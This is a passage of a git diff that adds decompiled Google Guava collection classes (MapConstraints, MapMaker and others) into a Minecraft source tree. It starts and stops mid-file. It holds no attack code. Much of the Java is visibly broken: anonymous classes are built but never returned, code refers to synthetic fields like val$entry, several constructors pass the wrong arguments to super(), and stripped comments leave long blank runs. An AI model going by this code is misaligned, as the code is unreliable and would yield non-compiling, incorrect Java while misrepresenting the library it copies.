+      super();
+    }
+  }
+  
+
+
+  static <T> List<T> cast(Iterable<T> iterable)
+  {
+    return (List)iterable;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/MapConstraint.java b/src/minecraft/com/google/common/collect/MapConstraint.java
new file mode 100644
index 0000000..fc632d4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MapConstraint.java
@@ -0,0 +1,14 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+@Beta
+public abstract interface MapConstraint<K, V>
+{
+  public abstract void checkKeyValue(@Nullable K paramK, @Nullable V paramV);
+  
+  public abstract String toString();
+}
diff --git a/src/minecraft/com/google/common/collect/MapConstraints.java b/src/minecraft/com/google/common/collect/MapConstraints.java
new file mode 100644
index 0000000..ab94ccd
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MapConstraints.java
@@ -0,0 +1,784 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class MapConstraints
+{
+  private MapConstraints() {}
+  
+  public static MapConstraint<Object, Object> notNull()
+  {
+    return NotNullMapConstraint.INSTANCE;
+  }
+  
+  private static enum NotNullMapConstraint implements MapConstraint<Object, Object>
+  {
+    INSTANCE;
+    
+    private NotNullMapConstraint() {}
+    
+    public void checkKeyValue(Object key, Object value) { Preconditions.checkNotNull(key);
+      Preconditions.checkNotNull(value);
+    }
+    
+    public String toString() {
+      return "Not null";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Map<K, V> constrainedMap(Map<K, V> map, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedMap(map, constraint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Multimap<K, V> constrainedMultimap(Multimap<K, V> multimap, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedMultimap(multimap, constraint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ListMultimap<K, V> constrainedListMultimap(ListMultimap<K, V> multimap, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedListMultimap(multimap, constraint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SetMultimap<K, V> constrainedSetMultimap(SetMultimap<K, V> multimap, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedSetMultimap(multimap, constraint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedSetMultimap<K, V> constrainedSortedSetMultimap(SortedSetMultimap<K, V> multimap, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedSortedSetMultimap(multimap, constraint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static <K, V> Map.Entry<K, V> constrainedEntry(Map.Entry<K, V> entry, final MapConstraint<? super K, ? super V> constraint)
+  {
+    Preconditions.checkNotNull(entry);
+    Preconditions.checkNotNull(constraint);
+    new ForwardingMapEntry()
+    {
+      protected Map.Entry<K, V> delegate() { return val$entry; }
+      
+      public V setValue(V value) {
+        constraint.checkKeyValue(getKey(), value);
+        return val$entry.setValue(value);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static <K, V> Map.Entry<K, Collection<V>> constrainedAsMapEntry(Map.Entry<K, Collection<V>> entry, final MapConstraint<? super K, ? super V> constraint)
+  {
+    Preconditions.checkNotNull(entry);
+    Preconditions.checkNotNull(constraint);
+    new ForwardingMapEntry() {
+      protected Map.Entry<K, Collection<V>> delegate() {
+        return val$entry;
+      }
+      
+      public Collection<V> getValue() { Constraints.constrainedTypePreservingCollection((Collection)val$entry.getValue(), new Constraint()
+        {
+          public V checkElement(V value)
+          {
+            val$constraint.checkKeyValue(getKey(), value);
+            return value;
+          }
+        }); }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static <K, V> Set<Map.Entry<K, Collection<V>>> constrainedAsMapEntries(Set<Map.Entry<K, Collection<V>>> entries, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedAsMapEntries(entries, constraint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static <K, V> Collection<Map.Entry<K, V>> constrainedEntries(Collection<Map.Entry<K, V>> entries, MapConstraint<? super K, ? super V> constraint)
+  {
+    if ((entries instanceof Set)) {
+      return constrainedEntrySet((Set)entries, constraint);
+    }
+    return new ConstrainedEntries(entries, constraint);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static <K, V> Set<Map.Entry<K, V>> constrainedEntrySet(Set<Map.Entry<K, V>> entries, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedEntrySet(entries, constraint);
+  }
+  
+  static class ConstrainedMap<K, V> extends ForwardingMap<K, V>
+  {
+    private final Map<K, V> delegate;
+    final MapConstraint<? super K, ? super V> constraint;
+    private transient Set<Map.Entry<K, V>> entrySet;
+    
+    ConstrainedMap(Map<K, V> delegate, MapConstraint<? super K, ? super V> constraint)
+    {
+      this.delegate = ((Map)Preconditions.checkNotNull(delegate));
+      this.constraint = ((MapConstraint)Preconditions.checkNotNull(constraint));
+    }
+    
+    protected Map<K, V> delegate() { return delegate; }
+    
+    public Set<Map.Entry<K, V>> entrySet() {
+      Set<Map.Entry<K, V>> result = entrySet;
+      if (result == null) {
+        entrySet = (result = MapConstraints.constrainedEntrySet(delegate.entrySet(), constraint));
+      }
+      
+      return result;
+    }
+    
+    public V put(K key, V value) { constraint.checkKeyValue(key, value);
+      return delegate.put(key, value);
+    }
+    
+    public void putAll(Map<? extends K, ? extends V> map) { delegate.putAll(MapConstraints.checkMap(map, constraint)); }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> BiMap<K, V> constrainedBiMap(BiMap<K, V> map, MapConstraint<? super K, ? super V> constraint)
+  {
+    return new ConstrainedBiMap(map, null, constraint);
+  }
+  
+
+
+
+
+
+
+  private static class ConstrainedBiMap<K, V>
+    extends MapConstraints.ConstrainedMap<K, V>
+    implements BiMap<K, V>
+  {
+    volatile BiMap<V, K> inverse;
+    
+
+
+
+
+
+    ConstrainedBiMap(BiMap<K, V> delegate, @Nullable BiMap<V, K> inverse, MapConstraint<? super K, ? super V> constraint)
+    {
+      super(constraint);
+      this.inverse = inverse;
+    }
+    
+    protected BiMap<K, V> delegate() {
+      return (BiMap)super.delegate();
+    }
+    
+    public V forcePut(K key, V value)
+    {
+      constraint.checkKeyValue(key, value);
+      return delegate().forcePut(key, value);
+    }
+    
+    public BiMap<V, K> inverse()
+    {
+      if (inverse == null) {
+        inverse = new ConstrainedBiMap(delegate().inverse(), this, new MapConstraints.InverseConstraint(constraint));
+      }
+      
+      return inverse;
+    }
+    
+    public Set<V> values() {
+      return delegate().values();
+    }
+  }
+  
+  private static class InverseConstraint<K, V> implements MapConstraint<K, V>
+  {
+    final MapConstraint<? super V, ? super K> constraint;
+    
+    public InverseConstraint(MapConstraint<? super V, ? super K> constraint) {
+      this.constraint = ((MapConstraint)Preconditions.checkNotNull(constraint));
+    }
+    
+    public void checkKeyValue(K key, V value) {
+      constraint.checkKeyValue(value, key);
+    }
+  }
+  
+  private static class ConstrainedMultimap<K, V>
+    extends ForwardingMultimap<K, V> implements Serializable
+  {
+    final MapConstraint<? super K, ? super V> constraint;
+    final Multimap<K, V> delegate;
+    transient Collection<Map.Entry<K, V>> entries;
+    transient Map<K, Collection<V>> asMap;
+    
+    public ConstrainedMultimap(Multimap<K, V> delegate, MapConstraint<? super K, ? super V> constraint)
+    {
+      this.delegate = ((Multimap)Preconditions.checkNotNull(delegate));
+      this.constraint = ((MapConstraint)Preconditions.checkNotNull(constraint));
+    }
+    
+    protected Multimap<K, V> delegate() {
+      return delegate;
+    }
+    
+    public Map<K, Collection<V>> asMap() {
+      Map<K, Collection<V>> result = asMap;
+      if (result == null) {
+        final Map<K, Collection<V>> asMapDelegate = delegate.asMap();
+        
+        asMap = (result = new ForwardingMap() {
+          Set<Map.Entry<K, Collection<V>>> entrySet;
+          Collection<Collection<V>> values;
+          
+          protected Map<K, Collection<V>> delegate() {
+            return asMapDelegate;
+          }
+          
+          public Set<Map.Entry<K, Collection<V>>> entrySet() {
+            Set<Map.Entry<K, Collection<V>>> result = entrySet;
+            if (result == null) {
+              entrySet = (result = MapConstraints.constrainedAsMapEntries(asMapDelegate.entrySet(), constraint));
+            }
+            
+            return result;
+          }
+          
+          public Collection<V> get(Object key)
+          {
+            try {
+              Collection<V> collection = MapConstraints.ConstrainedMultimap.this.get(key);
+              return collection.isEmpty() ? null : collection;
+            } catch (ClassCastException e) {}
+            return null;
+          }
+          
+          public Collection<Collection<V>> values()
+          {
+            Collection<Collection<V>> result = values;
+            if (result == null) {
+              values = (result = new MapConstraints.ConstrainedAsMapValues(delegate().values(), entrySet()));
+            }
+            
+            return result;
+          }
+          
+          public boolean containsValue(Object o) {
+            return values().contains(o);
+          }
+        });
+      }
+      return result;
+    }
+    
+    public Collection<Map.Entry<K, V>> entries() {
+      Collection<Map.Entry<K, V>> result = entries;
+      if (result == null) {
+        entries = (result = MapConstraints.constrainedEntries(delegate.entries(), constraint));
+      }
+      return result;
+    }
+    
+    public Collection<V> get(final K key) {
+      Constraints.constrainedTypePreservingCollection(delegate.get(key), new Constraint()
+      {
+        public V checkElement(V value)
+        {
+          constraint.checkKeyValue(key, value);
+          return value;
+        }
+      });
+    }
+    
+    public boolean put(K key, V value) {
+      constraint.checkKeyValue(key, value);
+      return delegate.put(key, value);
+    }
+    
+    public boolean putAll(K key, Iterable<? extends V> values) {
+      return delegate.putAll(key, MapConstraints.checkValues(key, values, constraint));
+    }
+    
+    public boolean putAll(Multimap<? extends K, ? extends V> multimap)
+    {
+      boolean changed = false;
+      for (Map.Entry<? extends K, ? extends V> entry : multimap.entries()) {
+        changed |= put(entry.getKey(), entry.getValue());
+      }
+      return changed;
+    }
+    
+    public Collection<V> replaceValues(K key, Iterable<? extends V> values)
+    {
+      return delegate.replaceValues(key, MapConstraints.checkValues(key, values, constraint));
+    }
+  }
+  
+
+
+  private static class ConstrainedAsMapValues<K, V>
+    extends ForwardingCollection<Collection<V>>
+  {
+    final Collection<Collection<V>> delegate;
+    
+    final Set<Map.Entry<K, Collection<V>>> entrySet;
+    
+
+    ConstrainedAsMapValues(Collection<Collection<V>> delegate, Set<Map.Entry<K, Collection<V>>> entrySet)
+    {
+      this.delegate = delegate;
+      this.entrySet = entrySet;
+    }
+    
+    protected Collection<Collection<V>> delegate() { return delegate; }
+    
+    public Iterator<Collection<V>> iterator()
+    {
+      final Iterator<Map.Entry<K, Collection<V>>> iterator = entrySet.iterator();
+      new Iterator()
+      {
+        public boolean hasNext() {
+          return iterator.hasNext();
+        }
+        
+        public Collection<V> next() {
+          return (Collection)((Map.Entry)iterator.next()).getValue();
+        }
+        
+        public void remove() {
+          iterator.remove();
+        }
+      };
+    }
+    
+    public Object[] toArray() {
+      return standardToArray();
+    }
+    
+    public <T> T[] toArray(T[] array) { return standardToArray(array); }
+    
+    public boolean contains(Object o) {
+      return standardContains(o);
+    }
+    
+    public boolean containsAll(Collection<?> c) { return standardContainsAll(c); }
+    
+    public boolean remove(Object o) {
+      return standardRemove(o);
+    }
+    
+    public boolean removeAll(Collection<?> c) { return standardRemoveAll(c); }
+    
+    public boolean retainAll(Collection<?> c) {
+      return standardRetainAll(c);
+    }
+  }
+  
+  private static class ConstrainedEntries<K, V>
+    extends ForwardingCollection<Map.Entry<K, V>>
+  {
+    final MapConstraint<? super K, ? super V> constraint;
+    final Collection<Map.Entry<K, V>> entries;
+    
+    ConstrainedEntries(Collection<Map.Entry<K, V>> entries, MapConstraint<? super K, ? super V> constraint)
+    {
+      this.entries = entries;
+      this.constraint = constraint;
+    }
+    
+    protected Collection<Map.Entry<K, V>> delegate() { return entries; }
+    
+    public Iterator<Map.Entry<K, V>> iterator()
+    {
+      final Iterator<Map.Entry<K, V>> iterator = entries.iterator();
+      new ForwardingIterator() {
+        public Map.Entry<K, V> next() {
+          return MapConstraints.constrainedEntry((Map.Entry)iterator.next(), constraint);
+        }
+        
+        protected Iterator<Map.Entry<K, V>> delegate() { return iterator; }
+      };
+    }
+    
+
+
+    public Object[] toArray()
+    {
+      return standardToArray();
+    }
+    
+    public <T> T[] toArray(T[] array) { return standardToArray(array); }
+    
+    public boolean contains(Object o) {
+      return Maps.containsEntryImpl(delegate(), o);
+    }
+    
+    public boolean containsAll(Collection<?> c) { return standardContainsAll(c); }
+    
+    public boolean remove(Object o) {
+      return Maps.removeEntryImpl(delegate(), o);
+    }
+    
+    public boolean removeAll(Collection<?> c) { return standardRemoveAll(c); }
+    
+    public boolean retainAll(Collection<?> c) {
+      return standardRetainAll(c);
+    }
+  }
+  
+  static class ConstrainedEntrySet<K, V>
+    extends MapConstraints.ConstrainedEntries<K, V> implements Set<Map.Entry<K, V>>
+  {
+    ConstrainedEntrySet(Set<Map.Entry<K, V>> entries, MapConstraint<? super K, ? super V> constraint)
+    {
+      super(constraint);
+    }
+    
+
+    public boolean equals(@Nullable Object object)
+    {
+      return Sets.equalsImpl(this, object);
+    }
+    
+    public int hashCode() {
+      return Sets.hashCodeImpl(this);
+    }
+  }
+  
+  static class ConstrainedAsMapEntries<K, V>
+    extends ForwardingSet<Map.Entry<K, Collection<V>>>
+  {
+    private final MapConstraint<? super K, ? super V> constraint;
+    private final Set<Map.Entry<K, Collection<V>>> entries;
+    
+    ConstrainedAsMapEntries(Set<Map.Entry<K, Collection<V>>> entries, MapConstraint<? super K, ? super V> constraint)
+    {
+      this.entries = entries;
+      this.constraint = constraint;
+    }
+    
+    protected Set<Map.Entry<K, Collection<V>>> delegate() {
+      return entries;
+    }
+    
+    public Iterator<Map.Entry<K, Collection<V>>> iterator() {
+      final Iterator<Map.Entry<K, Collection<V>>> iterator = entries.iterator();
+      new ForwardingIterator() {
+        public Map.Entry<K, Collection<V>> next() {
+          return MapConstraints.constrainedAsMapEntry((Map.Entry)iterator.next(), constraint);
+        }
+        
+        protected Iterator<Map.Entry<K, Collection<V>>> delegate() { return iterator; }
+      };
+    }
+    
+
+
+    public Object[] toArray()
+    {
+      return standardToArray();
+    }
+    
+    public <T> T[] toArray(T[] array) {
+      return standardToArray(array);
+    }
+    
+    public boolean contains(Object o) {
+      return Maps.containsEntryImpl(delegate(), o);
+    }
+    
+    public boolean containsAll(Collection<?> c) {
+      return standardContainsAll(c);
+    }
+    
+    public boolean equals(@Nullable Object object) {
+      return standardEquals(object);
+    }
+    
+    public int hashCode() {
+      return standardHashCode();
+    }
+    
+    public boolean remove(Object o) {
+      return Maps.removeEntryImpl(delegate(), o);
+    }
+    
+    public boolean removeAll(Collection<?> c) {
+      return standardRemoveAll(c);
+    }
+    
+    public boolean retainAll(Collection<?> c) {
+      return standardRetainAll(c);
+    }
+  }
+  
+  private static class ConstrainedListMultimap<K, V> extends MapConstraints.ConstrainedMultimap<K, V> implements ListMultimap<K, V>
+  {
+    ConstrainedListMultimap(ListMultimap<K, V> delegate, MapConstraint<? super K, ? super V> constraint)
+    {
+      super(constraint);
+    }
+    
+    public List<V> get(K key) { return (List)super.get(key); }
+    
+    public List<V> removeAll(Object key) {
+      return (List)super.removeAll(key);
+    }
+    
+    public List<V> replaceValues(K key, Iterable<? extends V> values) {
+      return (List)super.replaceValues(key, values);
+    }
+  }
+  
+  private static class ConstrainedSetMultimap<K, V> extends MapConstraints.ConstrainedMultimap<K, V> implements SetMultimap<K, V>
+  {
+    ConstrainedSetMultimap(SetMultimap<K, V> delegate, MapConstraint<? super K, ? super V> constraint)
+    {
+      super(constraint);
+    }
+    
+    public Set<V> get(K key) { return (Set)super.get(key); }
+    
+    public Set<Map.Entry<K, V>> entries() {
+      return (Set)super.entries();
+    }
+    
+    public Set<V> removeAll(Object key) { return (Set)super.removeAll(key); }
+    
+    public Set<V> replaceValues(K key, Iterable<? extends V> values)
+    {
+      return (Set)super.replaceValues(key, values);
+    }
+  }
+  
+  private static class ConstrainedSortedSetMultimap<K, V> extends MapConstraints.ConstrainedSetMultimap<K, V> implements SortedSetMultimap<K, V>
+  {
+    ConstrainedSortedSetMultimap(SortedSetMultimap<K, V> delegate, MapConstraint<? super K, ? super V> constraint)
+    {
+      super(constraint);
+    }
+    
+    public SortedSet<V> get(K key) { return (SortedSet)super.get(key); }
+    
+    public SortedSet<V> removeAll(Object key) {
+      return (SortedSet)super.removeAll(key);
+    }
+    
+    public SortedSet<V> replaceValues(K key, Iterable<? extends V> values) {
+      return (SortedSet)super.replaceValues(key, values);
+    }
+    
+    public Comparator<? super V> valueComparator() {
+      return ((SortedSetMultimap)delegate()).valueComparator();
+    }
+  }
+  
+
+  private static <K, V> Collection<V> checkValues(K key, Iterable<? extends V> values, MapConstraint<? super K, ? super V> constraint)
+  {
+    Collection<V> copy = Lists.newArrayList(values);
+    for (V value : copy) {
+      constraint.checkKeyValue(key, value);
+    }
+    return copy;
+  }
+  
+  private static <K, V> Map<K, V> checkMap(Map<? extends K, ? extends V> map, MapConstraint<? super K, ? super V> constraint)
+  {
+    Map<K, V> copy = new LinkedHashMap(map);
+    for (Map.Entry<K, V> entry : copy.entrySet()) {
+      constraint.checkKeyValue(entry.getKey(), entry.getValue());
+    }
+    return copy;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/MapDifference.java b/src/minecraft/com/google/common/collect/MapDifference.java
new file mode 100644
index 0000000..680b1c3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MapDifference.java
@@ -0,0 +1,34 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface MapDifference<K, V>
+{
+  public abstract boolean areEqual();
+  
+  public abstract Map<K, V> entriesOnlyOnLeft();
+  
+  public abstract Map<K, V> entriesOnlyOnRight();
+  
+  public abstract Map<K, V> entriesInCommon();
+  
+  public abstract Map<K, ValueDifference<V>> entriesDiffering();
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+  
+  public abstract int hashCode();
+  
+  public static abstract interface ValueDifference<V>
+  {
+    public abstract V leftValue();
+    
+    public abstract V rightValue();
+    
+    public abstract boolean equals(@Nullable Object paramObject);
+    
+    public abstract int hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/MapMaker.java b/src/minecraft/com/google/common/collect/MapMaker.java
new file mode 100644
index 0000000..154ec4e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MapMaker.java
@@ -0,0 +1,899 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Ascii;
+import com.google.common.base.Equivalence;
+import com.google.common.base.Function;
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Throwables;
+import com.google.common.base.Ticker;
+import java.io.Serializable;
+import java.util.AbstractMap;
+import java.util.Collections;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class MapMaker
+  extends GenericMapMaker<Object, Object>
+{
+  private static final int DEFAULT_INITIAL_CAPACITY = 16;
+  private static final int DEFAULT_CONCURRENCY_LEVEL = 4;
+  private static final int DEFAULT_EXPIRATION_NANOS = 0;
+  static final int UNSET_INT = -1;
+  boolean useCustomMap;
+  int initialCapacity = -1;
+  int concurrencyLevel = -1;
+  int maximumSize = -1;
+  
+  MapMakerInternalMap.Strength keyStrength;
+  
+  MapMakerInternalMap.Strength valueStrength;
+  long expireAfterWriteNanos = -1L;
+  long expireAfterAccessNanos = -1L;
+  
+
+
+  RemovalCause nullRemovalCause;
+  
+
+
+  Equivalence<Object> keyEquivalence;
+  
+
+
+  Ticker ticker;
+  
+
+
+
+  public MapMaker() {}
+  
+
+
+  @GwtIncompatible("To be supported")
+  MapMaker keyEquivalence(Equivalence<Object> equivalence)
+  {
+    Preconditions.checkState(keyEquivalence == null, "key equivalence was already set to %s", new Object[] { keyEquivalence });
+    keyEquivalence = ((Equivalence)Preconditions.checkNotNull(equivalence));
+    useCustomMap = true;
+    return this;
+  }
+  
+  Equivalence<Object> getKeyEquivalence() {
+    return (Equivalence)Objects.firstNonNull(keyEquivalence, getKeyStrength().defaultEquivalence());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public MapMaker initialCapacity(int initialCapacity)
+  {
+    Preconditions.checkState(this.initialCapacity == -1, "initial capacity was already set to %s", new Object[] { Integer.valueOf(this.initialCapacity) });
+    
+    Preconditions.checkArgument(initialCapacity >= 0);
+    this.initialCapacity = initialCapacity;
+    return this;
+  }
+  
+  int getInitialCapacity() {
+    return initialCapacity == -1 ? 16 : initialCapacity;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  MapMaker maximumSize(int size)
+  {
+    Preconditions.checkState(maximumSize == -1, "maximum size was already set to %s", new Object[] { Integer.valueOf(maximumSize) });
+    
+    Preconditions.checkArgument(size >= 0, "maximum size must not be negative");
+    maximumSize = size;
+    useCustomMap = true;
+    if (maximumSize == 0)
+    {
+      nullRemovalCause = RemovalCause.SIZE;
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public MapMaker concurrencyLevel(int concurrencyLevel)
+  {
+    Preconditions.checkState(this.concurrencyLevel == -1, "concurrency level was already set to %s", new Object[] { Integer.valueOf(this.concurrencyLevel) });
+    
+    Preconditions.checkArgument(concurrencyLevel > 0);
+    this.concurrencyLevel = concurrencyLevel;
+    return this;
+  }
+  
+  int getConcurrencyLevel() {
+    return concurrencyLevel == -1 ? 4 : concurrencyLevel;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  public MapMaker weakKeys()
+  {
+    return setKeyStrength(MapMakerInternalMap.Strength.WEAK);
+  }
+  
+  MapMaker setKeyStrength(MapMakerInternalMap.Strength strength) {
+    Preconditions.checkState(keyStrength == null, "Key strength was already set to %s", new Object[] { keyStrength });
+    keyStrength = ((MapMakerInternalMap.Strength)Preconditions.checkNotNull(strength));
+    Preconditions.checkArgument(keyStrength != MapMakerInternalMap.Strength.SOFT, "Soft keys are not supported");
+    if (strength != MapMakerInternalMap.Strength.STRONG)
+    {
+      useCustomMap = true;
+    }
+    return this;
+  }
+  
+  MapMakerInternalMap.Strength getKeyStrength() {
+    return (MapMakerInternalMap.Strength)Objects.firstNonNull(keyStrength, MapMakerInternalMap.Strength.STRONG);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  public MapMaker weakValues()
+  {
+    return setValueStrength(MapMakerInternalMap.Strength.WEAK);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  @GwtIncompatible("java.lang.ref.SoftReference")
+  public MapMaker softValues()
+  {
+    return setValueStrength(MapMakerInternalMap.Strength.SOFT);
+  }
+  
+  MapMaker setValueStrength(MapMakerInternalMap.Strength strength) {
+    Preconditions.checkState(valueStrength == null, "Value strength was already set to %s", new Object[] { valueStrength });
+    valueStrength = ((MapMakerInternalMap.Strength)Preconditions.checkNotNull(strength));
+    if (strength != MapMakerInternalMap.Strength.STRONG)
+    {
+      useCustomMap = true;
+    }
+    return this;
+  }
+  
+  MapMakerInternalMap.Strength getValueStrength() {
+    return (MapMakerInternalMap.Strength)Objects.firstNonNull(valueStrength, MapMakerInternalMap.Strength.STRONG);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  MapMaker expireAfterWrite(long duration, TimeUnit unit)
+  {
+    checkExpiration(duration, unit);
+    expireAfterWriteNanos = unit.toNanos(duration);
+    if ((duration == 0L) && (nullRemovalCause == null))
+    {
+      nullRemovalCause = RemovalCause.EXPIRED;
+    }
+    useCustomMap = true;
+    return this;
+  }
+  
+  private void checkExpiration(long duration, TimeUnit unit) {
+    Preconditions.checkState(expireAfterWriteNanos == -1L, "expireAfterWrite was already set to %s ns", new Object[] { Long.valueOf(expireAfterWriteNanos) });
+    
+    Preconditions.checkState(expireAfterAccessNanos == -1L, "expireAfterAccess was already set to %s ns", new Object[] { Long.valueOf(expireAfterAccessNanos) });
+    
+    Preconditions.checkArgument(duration >= 0L, "duration cannot be negative: %s %s", new Object[] { Long.valueOf(duration), unit });
+  }
+  
+  long getExpireAfterWriteNanos() {
+    return expireAfterWriteNanos == -1L ? 0L : expireAfterWriteNanos;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  @GwtIncompatible("To be supported")
+  MapMaker expireAfterAccess(long duration, TimeUnit unit)
+  {
+    checkExpiration(duration, unit);
+    expireAfterAccessNanos = unit.toNanos(duration);
+    if ((duration == 0L) && (nullRemovalCause == null))
+    {
+      nullRemovalCause = RemovalCause.EXPIRED;
+    }
+    useCustomMap = true;
+    return this;
+  }
+  
+  long getExpireAfterAccessNanos() {
+    return expireAfterAccessNanos == -1L ? 0L : expireAfterAccessNanos;
+  }
+  
+  Ticker getTicker()
+  {
+    return (Ticker)Objects.firstNonNull(ticker, Ticker.systemTicker());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  @GwtIncompatible("To be supported")
+  <K, V> GenericMapMaker<K, V> removalListener(RemovalListener<K, V> listener)
+  {
+    Preconditions.checkState(removalListener == null);
+    
+
+
+    GenericMapMaker<K, V> me = this;
+    removalListener = ((RemovalListener)Preconditions.checkNotNull(listener));
+    useCustomMap = true;
+    return me;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public <K, V> ConcurrentMap<K, V> makeMap()
+  {
+    if (!useCustomMap) {
+      return new ConcurrentHashMap(getInitialCapacity(), 0.75F, getConcurrencyLevel());
+    }
+    return (ConcurrentMap)(nullRemovalCause == null ? new MapMakerInternalMap(this) : new NullConcurrentMap(this));
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("MapMakerInternalMap")
+  <K, V> MapMakerInternalMap<K, V> makeCustomMap()
+  {
+    return new MapMakerInternalMap(this);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  <K, V> ConcurrentMap<K, V> makeComputingMap(Function<? super K, ? extends V> computingFunction)
+  {
+    return (ConcurrentMap)(nullRemovalCause == null ? new ComputingMapAdapter(this, computingFunction) : new NullComputingConcurrentMap(this, computingFunction));
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    Objects.ToStringHelper s = Objects.toStringHelper(this);
+    if (initialCapacity != -1) {
+      s.add("initialCapacity", initialCapacity);
+    }
+    if (concurrencyLevel != -1) {
+      s.add("concurrencyLevel", concurrencyLevel);
+    }
+    if (maximumSize != -1) {
+      s.add("maximumSize", maximumSize);
+    }
+    if (expireAfterWriteNanos != -1L) {
+      s.add("expireAfterWrite", expireAfterWriteNanos + "ns");
+    }
+    if (expireAfterAccessNanos != -1L) {
+      s.add("expireAfterAccess", expireAfterAccessNanos + "ns");
+    }
+    if (keyStrength != null) {
+      s.add("keyStrength", Ascii.toLowerCase(keyStrength.toString()));
+    }
+    if (valueStrength != null) {
+      s.add("valueStrength", Ascii.toLowerCase(valueStrength.toString()));
+    }
+    if (keyEquivalence != null) {
+      s.addValue("keyEquivalence");
+    }
+    if (removalListener != null) {
+      s.addValue("removalListener");
+    }
+    return s.toString();
+  }
+  
+
+
+
+
+
+
+  static abstract interface RemovalListener<K, V>
+  {
+    public abstract void onRemoval(MapMaker.RemovalNotification<K, V> paramRemovalNotification);
+  }
+  
+
+
+
+
+
+
+  static final class RemovalNotification<K, V>
+    extends ImmutableEntry<K, V>
+  {
+    private static final long serialVersionUID = 0L;
+    
+
+
+
+
+    private final MapMaker.RemovalCause cause;
+    
+
+
+
+
+
+    RemovalNotification(@Nullable K key, @Nullable V value, MapMaker.RemovalCause cause)
+    {
+      super(value);
+      this.cause = cause;
+    }
+    
+
+
+    public MapMaker.RemovalCause getCause()
+    {
+      return cause;
+    }
+    
+
+
+
+    public boolean wasEvicted()
+    {
